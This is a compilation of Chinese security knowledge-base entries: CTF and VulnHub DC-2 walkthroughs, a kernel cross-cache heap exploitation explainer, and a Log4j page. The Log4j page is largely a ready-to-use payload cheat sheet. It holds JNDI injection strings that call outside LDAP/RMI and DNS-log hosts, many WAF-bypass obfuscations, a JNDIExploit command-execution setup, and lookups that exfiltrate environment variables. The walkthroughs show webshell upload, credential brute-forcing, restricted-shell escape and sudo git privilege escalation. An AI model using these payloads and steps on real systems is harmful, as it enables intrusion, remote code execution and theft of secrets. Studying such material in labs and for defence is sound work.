q = N//p
phi = (p-1)*(q-1)
d = inverse(e, phi)
m = pow(c, d, N)
print(long_to_bytes(m))
break
```
---
## misc2
```
52316B7A5245315A576C644852544E455430347A5130644E4D6C5248545670555345566156454E4E576C6C48575670455230394B56456330576B644A546C4A585230307A5645644F536C524854567048535531615655644E4D30524E545570555231566152306C4F556C4A48545670555455315356456442576B644A546C4A5552316C615645314E536C64485656705552553161566B644E576B524E54564A555230307A5245744E576C6C48545452555431704250513D3D
```
hex
R1kzRE1ZWldHRTNET04zQ0dNMlRHTVpUSEVaVENNWllHWVpER09KVEc0WkdJTlJXR00zVEdOSlRHTVpHSU1aVUdNM0RNTUpUR1VaR0lOUlJHTVpUTU1SVEdBWkdJTlJUR1laVE1NSldHVVpURU1aVkdNWkRNTVJUR00zREtNWllHTTRUT1pBPQ==
base64
GY3DMYZWGE3DON3CGM2TGMZTHEZTCMZYGYZDGOJTG4ZGINRWGM3TGNJTGMZGIMZUGM3DMMJTGUZGINRRGMZTMMRTGAZGINRTGYZTMMJWGUZTEMZVGMZDMMRTGM3DKMZYGM4TOZA=
base32
666c61677b35333931386239372d663735332d343661352d613362302d6363616532353262336538397d
hex
flag{53918b97-f753-46a5-a3b0-ccae252b3e89}
---
## ezUp
扫描到 robots.txt 里面有个备份文件
找到上传的部分源码
上传时修改 文件头
Content-Type: image/jpeg
发包爆破上传路径 为 0-1000 的 sha1
爆破到 webshell 地址后连接,在 /flag 有 flag
flag{57cd7c00-66fa-4fbe-8747-ed53f170e82b}
---
## misc1
base64
ZmxhZ3tDN0ZfVzBybGRfaTVfaW50ZXIzc3Rpbmd9
flag{C7F_W0rld_i5_inter3sting}
---
## misc3
0-377 还有 ,
猜测是 8 进制数
8 转 16 另存成图片
1_D0't_1ike!!!
解压后得到 game.csv
9x9 的方阵 是个数独
后面做不下去了。。。
|
sec-knowleage
|
### Cross-Cache Overflow介绍
与我们此前一直关注于 slub allocator 的各种利用手法不同,**Cross-Cache Overflow** 实际上是**针对 buddy system** 的利用手法,其主要基于如下思路:
- slub allocator 底层逻辑是向 buddy system 请求页面后再划分成特定大小 object 返还给上层调用者。
- 内存中用作不同 `kmem_cache` 的页面在内存上是有可能相邻的。
- 若我们的漏洞对象存在于页面 A,溢出目标对象存在于页面 B,且 A、B两页面相邻,则我们便有可能实现跨越不同 `kmem_cache` 之间的堆溢出。
**Cross-Cache Overflow 打破了不同 kmem\_cache 之间的阻碍,可以让我们的溢出漏洞对近乎任意的内核结构体进行覆写。**
但这需要达成非常严苛的页级堆排布,而内核的堆页面布局对我们而言通常是未知的,因此我们需要想办法将其变为已知的内存布局,这就需要**页级堆风水**——
### Page-level Heap Fengshui介绍
顾名思义,**页级堆风水**即以内存页为粒度的内存排布方式,而内核内存页的排布对我们来说不仅未知且信息量巨大,因此这种利用手法实际上是让我们**手工构造一个新的已知的页级粒度内存页排布**。
首先让我们重新审视 slub allocator 向 buddy system 请求页面的过程,当 freelist page 已经耗空且 partial 链表也为空时(或者 `kmem_cache` 刚刚创建后进行第一次分配时),其会向 buddy system 申请页面:

接下来让我们重新审视 buddy system ,其基本原理就是以 2 的 order 次幂张内存页作为分配粒度,相同 order 间空闲页面构成双向链表,当低阶 order 的页面不够用时便会从高阶 order 取一份连续内存页拆成两半,其中一半挂回当前请求 order 链表,另一半返还给上层调用者;下图为以 order 2 为例的 buddy system 页面分配基本原理:

我们不难想到的是:从更高阶 order 拆分成的两份低阶 order 的连续内存页**是物理连续的**,由此我们可以:
- 向 buddy system 请求两份连续的内存页。
- 释放其中一份内存页,在 `vulnerable kmem_cache` 上堆喷,让其取走这份内存页。
- 释放另一份内存页,在 `victim kmem_cache` 上堆喷,让其取走这份内存页。
**此时我们便有可能溢出到其他的内核结构体上,从而完成 cross-cache overflow**
### 使用 setsockopt 与 pgv 完成页级内存占位与堆风水方法
那么我们该如何完成这样的页占位与页排布呢?笔者这里给出一个来自于 [CVE-2017-7308](https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html) 的方案:
当我们创建一个 protocol 为 `PF_PACKET` 的 socket 之后,先调用 `setsockopt()` 将 `PACKET_VERSION` 设为 `TPACKET_V1 `/ `TPACKET_V2`,再调用 `setsockopt()` 提交一个 `PACKET_TX_RING` ,此时便存在如下调用链:
```c
__sys_setsockopt()
sock->ops->setsockopt()
packet_setsockopt() // case PACKET_TX_RING ↓
packet_set_ring()
alloc_pg_vec()
```
在 `alloc_pg_vec()` 中会创建一个 `pgv` 结构体,用以分配 `tp_block_nr` 份 2<sup>order</sup> 张内存页,其中 `order` 由 `tp_block_size` 决定:
```c
static struct pgv *alloc_pg_vec(struct tpacket_req *req, int order)
{
unsigned int block_nr = req->tp_block_nr;
struct pgv *pg_vec;
int i;
pg_vec = kcalloc(block_nr, sizeof(struct pgv), GFP_KERNEL | __GFP_NOWARN);
if (unlikely(!pg_vec))
goto out;
for (i = 0; i < block_nr; i++) {
pg_vec[i].buffer = alloc_one_pg_vec_page(order);
if (unlikely(!pg_vec[i].buffer))
goto out_free_pgvec;
}
out:
return pg_vec;
out_free_pgvec:
free_pg_vec(pg_vec, order, block_nr);
pg_vec = NULL;
goto out;
}
```
在 `alloc_one_pg_vec_page()` 中会直接调用 `__get_free_pages()` 向 buddy system 请求内存页,因此我们可以利用该函数进行大量的页面请求:
```c
static char *alloc_one_pg_vec_page(unsigned long order)
{
char *buffer;
gfp_t gfp_flags = GFP_KERNEL | __GFP_COMP |
__GFP_ZERO | __GFP_NOWARN | __GFP_NORETRY;
buffer = (char *) __get_free_pages(gfp_flags, order);
if (buffer)
return buffer;
//...
}
```
相应地, `pgv` 中的页面也会在 socket 被关闭后释放:
```c
packet_release()
packet_set_ring()
free_pg_vec()
```
`setsockopt()` 也可以帮助我们完成**页级堆风水**,当我们耗尽 buddy system 中的 low order pages 后,我们再请求的页面便都是物理连续的,因此此时我们再进行 `setsockopt()` 便**相当于获取到了一块近乎物理连续的内存**(为什么是“近乎连续”是因为大量的 `setsockopt()` 流程中同样会分配大量我们不需要的结构体,从而消耗 buddy system 的部分页面)。
|
sec-knowleage
|
# Log4j
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
> 项目地址 : https://github.com/apache/logging-log4j2
**相关文章**
- [Log4j2系列漏洞分析汇总](https://mp.weixin.qq.com/s/0sqTEQwOZ-TJeqpq-ExWTg)
---
## CVE-2019-17571 log4j<=1.2.17反序列化漏洞
**相关文章**
- [log4j<=1.2.17反序列化漏洞(CVE-2019-17571)分析](https://mp.weixin.qq.com/s/RLvvzKbBwKp-War98pvn9w)
---
## CVE-2021-44228
**描述**
由于 Apache Log4j2 lookup 功能存在递归解析功能,攻击者可直接构造恶意请求,当程序将用户输入的数据进行日志记录时, ⽆需进⾏特殊配置,即可触发远程代码执⾏。
Apache Struts2、Apache Solr、Apache Druid、Apache Flink 等众多组件与大型应用均受影响
**影响范围**
- Apache Log4j 2.x < 2.15.0-rc2
- [VMware 多个产品 Log4j2 RCE](https://mp.weixin.qq.com/s/ThSxC22JsrRE50N21WR24Q)
- [YfryTchsGD/Log4jAttackSurface](https://github.com/YfryTchsGD/Log4jAttackSurface)
- https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592
**相关文章**
- [Log4j2 RCE分析](https://mp.weixin.qq.com/s/kLuPx0zXRIl6y1ds6n5e_w)
- [甲方需谨慎对待log4shell漏洞的修复](https://mp.weixin.qq.com/s/Jaq5NTwqBMX7mKMklDnOtA)
- [CVE-2021-44228 log4j2 回显操作](https://www.o2oxy.cn/3893.html)
- [一洞一世界,一大一团灭,翻车的log4j2](https://mp.weixin.qq.com/s/-SV45eVKjCBDDftLC3Pf4Q)
- [Apache Log4j2从RCE到RC1绕过](https://mp.weixin.qq.com/s/8lvpSetHUpCCL5IRcvdTCw)
- [Log4Shell: RCE 0-day exploit found in log4j 2, a popular Java logging package](https://www.lunasec.io/docs/blog/log4j-zero-day/)
- [log4j 漏洞一些特殊的利用方式](https://mp.weixin.qq.com/s/vAE89A5wKrc-YnvTr0qaNg)
- [整理log4j bypass](https://mp.weixin.qq.com/s/Rd8-Atvyaac93ak4Iz8HTQ)
- [从零到一带你深入 log4j2 Jndi RCE CVE-2021-44228漏洞](https://mp.weixin.qq.com/s/4MP0WVDOT5YhpOJ5KkGxYw)
- [Log4j和它的小伙伴们](https://mp.weixin.qq.com/s/VGMxrw8HD2ZbQHpyL-V_nQ)
- [Log4j2 研究之lookup](https://mp.weixin.qq.com/s/K74c1pTG6m5rKFuKaIYmPg)
- [Log4j2 0day 攻击面分析](https://mp.weixin.qq.com/s/-HJ6BqyAsSYpV3_X0ItC2w)
- https://github.com/vulhub/vulhub/blob/master/log4j/CVE-2021-44228/README.zh-cn.md
**修复方案**
- 设置系统环境变量 LOG4J_log4j2_formatMsgNoLookups=True
- 升级 Apache Log4j2 所有相关应用到最新版本,地址 https://github.com/apache/logging-log4j2/tags
- [Cybereason/Logout4Shell](https://github.com/Cybereason/Logout4Shell)
**检测 payload**
```
${jndi:ldap://xxx.dnslog.cn/a}
${jndi:rmi://xxx.dnslog.cn/a}
```
- [jas502n/Log4j2-CVE-2021-44228](https://github.com/jas502n/Log4j2-CVE-2021-44228)
- [Puliczek/CVE-2021-44228-PoC-log4j-bypass-words](https://github.com/Puliczek/CVE-2021-44228-PoC-log4j-bypass-words)
- [google/log4jscanner](https://github.com/google/log4jscanner) - A log4j vulnerability filesystem scanner and Go package for analyzing JAR files.
**一些 bypass**
```
# RC1 绕过
${jndi:ldap://127.0.0.1:1389/ Badclassname}
# bypass WAF
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://xxx.dnslog.cn/poc}
${${::-j}ndi:rmi://xxx.dnslog.cn/ass}
${${lower:jndi}:${lower:rmi}://xxx.dnslog.cn/poc}
${${lower:${lower:jndi}}:${lower:rmi}://xxx.dnslog.cn/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://xxx.dnslog.cn/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxx.dnslog.cn/poc}
${${env:foo:-jndi}:ldap://xxx.dnslog.cn/a}
${${lower:jnd}${lower:${upper:ı}}:ldap://...}
${jndi:${lower:l}${lower:d}a${lower:p}://example.com/
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//your.burpcollaborator.net/a}
${j${lower:n}d${lower:i}${lower::}${lower:l}d${lower:a}p${lower::}${lower:/}/${lower:1}${lower:2}${lower:7}.${lower:0}${lower:.}${lower:0}${lower:.}${lower:1}${lower::}${lower:1}0${lower:9}${lower:9}/${lower:o}${lower:b}j}
${${::-j}ndi:rmi://127.0.0.1:1389/ass}
${${lower:jndi}:${lower:rmi}://q.w.e/poc}
${${lower:${lower:jndi}}:${lower:rmi}://a.s.d/poc}
${${upper:j}${lower:n}${lower:d}${lower:i}${lower::}${lower:l}${lower:d}${lower:a}${lower:p}${lower::}${lower:/}${lower:/}${lower:1}${lower:2}${lower:7}${lower:.}${lower:0}${lower:.}${lower:0}${lower:.}${lower:1}${lower::}${lower:1}${lower:0}${lower:9}${lower:9}${lower:/}${lower:o}${lower:b}${lower:j}}
${${nuDV:CW:yqL:dWTUHX:-j}n${obpOW:C:-d}${ll:-i}:${GI:-l}d${YRYWp:yjkg:wrsb:RajYR:-a}p://${RHe:-1}2${Qmox:dC:MB:-7}${ucP:yQH:xYtT:WCVX:-.}0.${WQRvpR:ligza:J:DSBUAv:-0}.${v:-1}:${p:KJ:-1}${Ek:gyx:klkQMP:-0}${UqY:cE:LPJtt:L:ntC:-9}${NR:LXqcg:-9}/o${fzg:rsHKT:-b}j}
${${uPBeLd:JghU:kyH:C:TURit:-j}${odX:t:STGD:UaqOvq:wANmU:-n}${mgSejH:tpr:zWlb:-d}${ohw:Yyz:OuptUo:gTKe:BFxGG:-i}${fGX:L:KhSyJ:-:}${E:o:wsyhug:LGVMcx:-l}${Prz:-d}${d:PeH:OmFo:GId:-a}${NLsTHo:-p}${uwF:eszIV:QSvP:-:}${JF:l:U:-/}${AyEC:rOLocm:-/}${jkJFS:r:xYzF:Frpi:he:-1}${PWtKH:w:uMiHM:vxI:-2}${a:-7}${sKiDNh:ilypjq:zemKm:-.}${QYpbY:P:dkXtCk:-0}${Iwv:TmFtBR:f:PJ:-.}${Q:-0}${LX:fMVyGy:-.}${lS:Mged:X:th:Yarx:-1}${xxOTJ:-:}${JIUlWM:-1}${Mt:Wxhdp:Rr:LuAa:QLUpW:-0}${sa:kTPw:UnP:-9}${HuDQED:-9}${modEYg:UeKXl:YJAt:pAl:u:-/}${BPJYbu:miTDQJ:-o}${VLeIR:VMYlY:f:Gaso:cVApg:-b}${sywJIr:RbbDTB:JXYr:ePKz:-j}}
${j${lower:n}d${lower:i}${lower::}${lower:l}d${lower:a}p${lower::}${lower:/}/${lower:1}${lower:2}${lower:7}.${lower:0}${lower:.}${lower:0}${lower:.}${lower:1}${lower::}${lower:1}0${lower:9}${lower:9}/${lower:o}${lower:b}j}
${${upper:j}${lower:n}${lower:d}${lower:i}${lower::}${lower:l}${lower:d}${lower:a}${lower:p}${lower::}${lower:/}${lower:/}${lower:1}${lower:2}${lower:7}${lower:.}${lower:0}${lower:.}${lower:0}${lower:.}${lower:1}${lower::}${lower:1}${lower:0}${lower:9}${lower:9}${lower:/}${lower:o}${lower:b}${lower:j}}
${${nuDV:CW:yqL:dWTUHX:-j}n${obpOW:C:-d}${ll:-i}:${GI:-l}d${YRYWp:yjkg:wrsb:RajYR:-a}p://${RHe:-1}2${Qmox:dC:MB:-7}${ucP:yQH:xYtT:WCVX:-.}0.${WQRvpR:ligza:J:DSBUAv:-0}.${v:-1}:${p:KJ:-1}${Ek:gyx:klkQMP:-0}${UqY:cE:LPJtt:L:ntC:-9}${NR:LXqcg:-9}/o${fzg:rsHKT:-b}j}
${${uPBeLd:JghU:kyH:C:TURit:-j}${odX:t:STGD:UaqOvq:wANmU:-n}${mgSejH:tpr:zWlb:-d}${ohw:Yyz:OuptUo:gTKe:BFxGG:-i}${fGX:L:KhSyJ:-:}${E:o:wsyhug:LGVMcx:-l}${Prz:-d}${d:PeH:OmFo:GId:-a}${NLsTHo:-p}${uwF:eszIV:QSvP:-:}${JF:l:U:-/}${AyEC:rOLocm:-/}${jkJFS:r:xYzF:Frpi:he:-1}${PWtKH:w:uMiHM:vxI:-2}${a:-7}${sKiDNh:ilypjq:zemKm:-.}${QYpbY:P:dkXtCk:-0}${Iwv:TmFtBR:f:PJ:-.}${Q:-0}${LX:fMVyGy:-.}${lS:Mged:X:th:Yarx:-1}${xxOTJ:-:}${JIUlWM:-1}${Mt:Wxhdp:Rr:LuAa:QLUpW:-0}${sa:kTPw:UnP:-9}${HuDQED:-9}${modEYg:UeKXl:YJAt:pAl:u:-/}${BPJYbu:miTDQJ:-o}${VLeIR:VMYlY:f:Gaso:cVApg:-b}${sywJIr:RbbDTB:JXYr:ePKz:-j}}
```
**TomcatEcho 回显方法**
```
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i xx.xx.xx.xx -l 8899 -p 9988
```
```
${jndi:ldap://xx.xx.xx.xx:8899/Deserialization/CommonsBeanutils2/TomcatEcho}
header 头里带下
cmd: ls
```
**信息带外**
高版本不能rce了,但通过 sys 和 env 协议,结合 jndi 可以读取到一些环境变量和系统变量,特定情况下可能可以读取到系统密码
举个例子
```
${jndi:ldap://${env:LOGNAME}.eynz6t.dnslog.cn}
${jndi:ldap://${sys:os.name}.eynz6t.dnslog.cn}
${jndi:ldap://${sys:java.version}.eynz6t.dnslog.cn}
```
常见带外
```
${ctx:loginId}
${map:type}
${filename}
${date:MM-dd-yyyy}
${docker:containerId}
${docker:containerName}
${docker:imageName}
${env:USER}
${event:Marker}
${mdc:UserId}
${java:runtime}
${java:vm}
${java:os}
${jndi:logging/context-name}
${hostName}
${docker:containerId}
${k8s:accountName}
${k8s:clusterName}
${k8s:containerId}
${k8s:containerName}
${k8s:host}
${k8s:labels.app}
${k8s:labels.podTemplateHash}
${k8s:masterUrl}
${k8s:namespaceId}
${k8s:namespaceName}
${k8s:podId}
${k8s:podIp}
${k8s:podName}
${k8s:imageId}
${k8s:imageName}
${log4j:configLocation}
${log4j:configParentLocation}
${spring:spring.application.name}
${main:myString}
${main:0}
${main:1}
${main:2}
${main:3}
${main:4}
${main:bar}
${name}
${marker}
${marker:name}
${spring:profiles.active[0]
${sys:logPath}
${web:rootDir}
```
来自 https://github.com/jas502n/Log4j2-CVE-2021-44228
```
# java
${java:version}
${java:runtime}
${java:vm}
${java:os}
${java:hw}
${java:locale}
# linux
${env:CLASSPATH}
${env:HOME}
${env:JAVA_HOME}
${env:LANG}
${env:LC_TERMINAL}
${env:LC_TERMINAL_VERSION}
${env:LESS}
${env:LOGNAME}
${env:LSCOLORS}
${env:LS_COLORS}
${env:MAIL}
${env:NLSPATH}
${env:OLDPWD}
${env:PAGER}
${env:PATH}
${env:PWD}
${env:SHELL}
${env:SHLVL}
${env:SSH_CLIENT}
${env:SSH_CONNECTION}
${env:SSH_TTY}
${env:TERM}
${env:USER}
${env:XDG_RUNTIME_DIR}
${env:XDG_SESSION_ID}
${env:XFILESEARCHPATH}
${env:ZSH}
# windows
${env:A8_HOME}
${env:A8_ROOT_BIN}
${env:ALLUSERSPROFILE}
${env:APPDATA}
${env:CATALINA_BASE}
${env:CATALINA_HOME}
${env:CATALINA_OPTS}
${env:CATALINA_TMPDIR}
${env:CLASSPATH}
${env:CLIENTNAME}
${env:COMPUTERNAME}
${env:ComSpec}
${env:CommonProgramFiles}
${env:CommonProgramFiles(x86)}
${env:CommonProgramW6432}
${env:FP_NO_HOST_CHECK}
${env:HOMEDRIVE}
${env:HOMEPATH}
${env:JRE_HOME}
${env:Java_Home}
${env:LOCALAPPDATA}
${env:LOGONSERVER}
${env:NUMBER_OF_PROCESSORS}
${env:OS}
${env:PATHEXT}
${env:PROCESSOR_ARCHITECTURE}
${env:PROCESSOR_IDENTIFIER}
${env:PROCESSOR_LEVEL}
${env:PROCESSOR_REVISION}
${env:PROMPT}
${env:PSModulePath}
${env:PUBLIC}
${env:Path}
${env:ProgramData}
${env:ProgramFiles}
${env:ProgramFiles(x86)}
${env:ProgramW6432}
${env:SESSIONNAME}
${env:SystemDrive}
${env:SystemRoot}
${env:TEMP}
${env:TMP}
${env:ThisExitCode}
${env:USERDOMAIN}
${env:USERNAME}
${env:USERPROFILE}
${env:WORK_PATH}
${env:windir}
${env:windows_tracing_flags}
${env:windows_tracing_logfile}
```
---
## CVE-2021-45046
**相关文章**
- [Apache Log4j2拒绝服务漏洞分析](https://xz.aliyun.com/t/10670)
|
sec-knowleage
|
# slow (cloud 450)
> Maybe if you run this on a big enough, strong enough computer for long enough,
> you'll get it to print the flag!
> The NSA might have a computer suitable for this :)
This task, although it was in the `cloud` category, was more of an reverse engineering one.
The main function was very simple, just `printf("FLAG{%lu}\n", real_main());`. So we had to find out what that function
returns. Note that we couldn't simply run the binary - it throws `std::bad_alloc` immediately.
Reverse engineering of the biggest function of the binary shows it is very sequential and repetitive code.
First, it allocates two vectors of complex numbers - their size was 1LL<<48 though, far too much too allocate,
let alone initialize.
After initialization (0+0i everywhere, and 1+0i in the very first cell), there was a couple of calls to a certain function -
I called it `split`. It took one parameter, and what it did was adding, subtracting, and multiplying some numbers in the
vector. After reading some quantum mechanics articles (and solving the other quantum challenge), I believe it applied
Hadamard gate to the system - not that it was important to the solution... One thing I noticed after reimplementation
of the function in C++, is that the number of non-zero cells doubles after each call to `split`. This property will be
important later on.
After around 20 or so `split`s, the only remaining repeating patterns were of one of two types: `swap`,
taking two arguments (say `a` and `b`), and swapping each index of array with `a`th bit set, with its corresponding cell,
with bit `b` flipped. I believe this is controlled swap gate.
The other repeating function was `rotate`, which multiplied each cell with certain bit set by (0+1i), or simply shifted phase
by 90 degrees.
Finally, the code calculated a kind of checksum of the vector and returned the result to be printed as flag.
Unfortunately, some of the calls to the functions I mentioned were inlined, which made it much more difficult to see what
is going on. In the end, I wrote a dirty Python script to scrape the called functions, with heuristics to find the inlined
ones too (and their parameters).
Still, we had to somehow run the code. I remind that there was a huge vector with 1LL<<48 cells. However, we can notice
both `swap` and `rotate` do not change the number of non-zero cells: the `swap` just swaps them, and `rotate` multiplies.
That means after all 22 of the `split`s, we had only 1<<22 non-zero cells - the vector was extremely sparse. For this reason,
we did not have to waste computing power to iterate over all the cells - just the ones that had effect on the state (the
non-zero ones). We implemented it in C++ using `unordered_map`s, being careful to remove cells with zero in them after
each transformation - otherwise, the whole map would quickly fill up and slow down. See `map.cpp` for the source code.
Running it took around 10-15 minutes, and printed the correct flag.
|
sec-knowleage
|
# DC: 2
下载地址:https://download.vulnhub.com/dc/DC-2.zip
## 实战演练
发现靶场IP:`192.168.32.160`

扫描对外开放端口
```
┌──(root💀kali)-[~/Desktop]
└─# nmap -sT -sV -p1-65535 192.168.32.160
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-21 22:19 EDT
Nmap scan report for 192.168.32.160
Host is up (0.00097s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))
7744/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0)
MAC Address: 00:0C:29:BA:64:08 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.32 seconds
```
浏览器访问80端口

会跳转到`dc-2`的域名,需要本地hosts
```
┌──(root💀kali)-[~/Desktop]
└─# cat /etc/hosts
192.168.32.160 dc-2
```
再次访问,可以看到有正常的内容,可以看到这是一个`wordpress`框架

点击页面查看发现有个flag提示,需要使用`cewl`生成字典

使用wpscan进行扫描
```
┌──(root💀kali)-[~/Desktop]
└─# wpscan --url http://dc-2
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.14
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o, default: [N]N
[+] URL: http://dc-2/ [192.168.32.160]
[+] Started: Tue Jun 21 22:45:26 2022
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.10 (Debian)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://dc-2/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access
[+] WordPress readme found: http://dc-2/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://dc-2/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 4.7.10 identified (Insecure, released on 2018-04-03).
| Found By: Rss Generator (Passive Detection)
| - http://dc-2/index.php/feed/, <generator>https://wordpress.org/?v=4.7.10</generator>
| - http://dc-2/index.php/comments/feed/, <generator>https://wordpress.org/?v=4.7.10</generator>
[+] WordPress theme in use: twentyseventeen
| Location: http://dc-2/wp-content/themes/twentyseventeen/
| Last Updated: 2022-05-24T00:00:00.000Z
| Readme: http://dc-2/wp-content/themes/twentyseventeen/README.txt
| [!] The version is out of date, the latest version is 3.0
| Style URL: http://dc-2/wp-content/themes/twentyseventeen/style.css?ver=4.7.10
| Style Name: Twenty Seventeen
| Style URI: https://wordpress.org/themes/twentyseventeen/
| Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 1.2 (80% confidence)
| Found By: Style (Passive Detection)
| - http://dc-2/wp-content/themes/twentyseventeen/style.css?ver=4.7.10, Match: 'Version: 1.2'
[+] Enumerating All Plugins (via Passive Methods)
[i] No plugins Found.
[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups - Time: 00:00:00 <==============================================================================================================================================================> (137 / 137) 100.00% Time: 00:00:00
[i] No Config Backups Found.
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpscan.com/register
[+] Finished: Tue Jun 21 22:45:30 2022
[+] Requests Done: 171
[+] Cached Requests: 5
[+] Data Sent: 39.584 KB
[+] Data Received: 356.633 KB
[+] Memory used: 226.422 MB
[+] Elapsed time: 00:00:04
```
枚举wordpress用户
```
┌──(root💀kali)-[~/Desktop]
└─# wpscan --url http://dc-2 --enumerate u
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00 <===============================================================================================================================================================> (10 / 10) 100.00% Time: 00:00:00
[i] User(s) Identified:
[+] admin
| Found By: Rss Generator (Passive Detection)
| Confirmed By:
| Wp Json Api (Aggressive Detection)
| - http://dc-2/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] jerry
| Found By: Wp Json Api (Aggressive Detection)
| - http://dc-2/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Confirmed By:
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] tom
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
```
使用cewl抓取网站的密码单词
```
┌──(root💀kali)-[/tmp]
└─# cewl http://dc-2 > password.txt
```
新建用户表
```
admin
jerry
tom
```
使用wpscan爆破用户密码
```
┌──(root💀kali)-[/tmp]
└─# wpscan --url http://dc-2 -U user.txt -P password.txt -t 50
[!] Valid Combinations Found:
| Username: jerry, Password: adipiscing
| Username: tom, Password: parturient
```
进入管理后台进行登录

找到flag2提示,说其他地方也可以应用账号密码

使用tom账号发现可以登录ssh
```
┌──(root💀kali)-[/tmp]
└─# ssh -p 7744 tom@192.168.32.160
tom@192.168.32.160's password:
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
tom@DC-2:~$
```
`/bin` 中不存在 cat 程序,而 tom 只能运行 `/bin` 目录中存在的五个程序。

由于我们有一个受限的 shell,我们发现我们可以使用 Vi 编辑器。因此,我们使用 Vi 编辑器来逃避受限的 shell。
```
:set shell=/bin/bash
:shell
```
配置shell环境变量
```
tom@DC-2:~$ export PATH=/bin:/usr/bin:$PATH
tom@DC-2:~$ export SHELL=/bin/bash:$SHELL
```
查看flag3.txt
```
tom@DC-2:~$ ls
flag3.txt test usr
tom@DC-2:~$ cat flag3.txt
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.
```
按照提示,切换到jerry用户,**密码是jerry的密码**
```
tom@DC-2:~$ su jerry
Password:
jerry@DC-2:/home/tom$
```
查看sudo列表
```
jerry@DC-2:/home/tom$ sudo -l
Matching Defaults entries for jerry on DC-2:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jerry may run the following commands on DC-2:
(root) NOPASSWD: /usr/bin/git
```
使用git进行提权
```
git help status
```

```
!/bin/bash
```


|
sec-knowleage
|
# Riskv and Reward (reversing, 80p)
> open-source all the things!!!
We solved this task in a fun way. Running `file` command on the supplied binary informed us that it's an ELF for
RISC-V architecture. We couldn't run it directly on our computer and installing an emulator was annoying (it didn't work
for some reason). So, we solved it in a blackbox way!
Running `strings -n 20 riskv_and_reward` gave us only one string:
```
tjb3csFt0rrutrh_wiv5__fi}k_1ih`{xIcrhsoyBmyw1CyT3rvxStT_jq40_zrq(
```
Although it seems quite messed up, we quickly noticed it has some resemblance to the flag format: it has two curly braces,
and all the capital letters from `BITSCTF`. It seems it was permutated in some way. So, the only thing left to do was
reversing the permutation. Running `hexdump` on the binary, we found an interesting part right after the aforementioned
string:
```
00001080 28 00 00 00 21 00 00 00 2f 00 00 00 34 00 00 00 |(...!.../...4...|
00001090 2d 00 00 00 36 00 00 00 06 00 00 00 1f 00 00 00 |-...6...........|
000010a0 25 00 00 00 3b 00 00 00 29 00 00 00 03 00 00 00 |%...;...).......|
000010b0 37 00 00 00 3e 00 00 00 1b 00 00 00 05 00 00 00 |7...>...........|
000010c0 22 00 00 00 13 00 00 00 14 00 00 00 3a 00 00 00 |"...........:...|
000010d0 31 00 00 00 30 00 00 00 1a 00 00 00 10 00 00 00 |1...0...........|
000010e0 08 00 00 00 23 00 00 00 07 00 00 00 24 00 00 00 |....#.......$...|
000010f0 3c 00 00 00 2c 00 00 00 00 00 00 00 18 00 00 00 |<...,...........|
